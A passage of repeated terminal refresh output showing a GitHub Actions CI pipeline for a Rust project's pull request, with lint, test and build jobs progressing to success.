registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  * Check file size limit\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Build release\\n  * Check package\\n  * Post Run actions/checkout@v6\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Build release\\n  * Check package\\n  * Post Run actions/checkout@v6\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Build release\\n  * Check package\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Build release\\n  * Check package\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  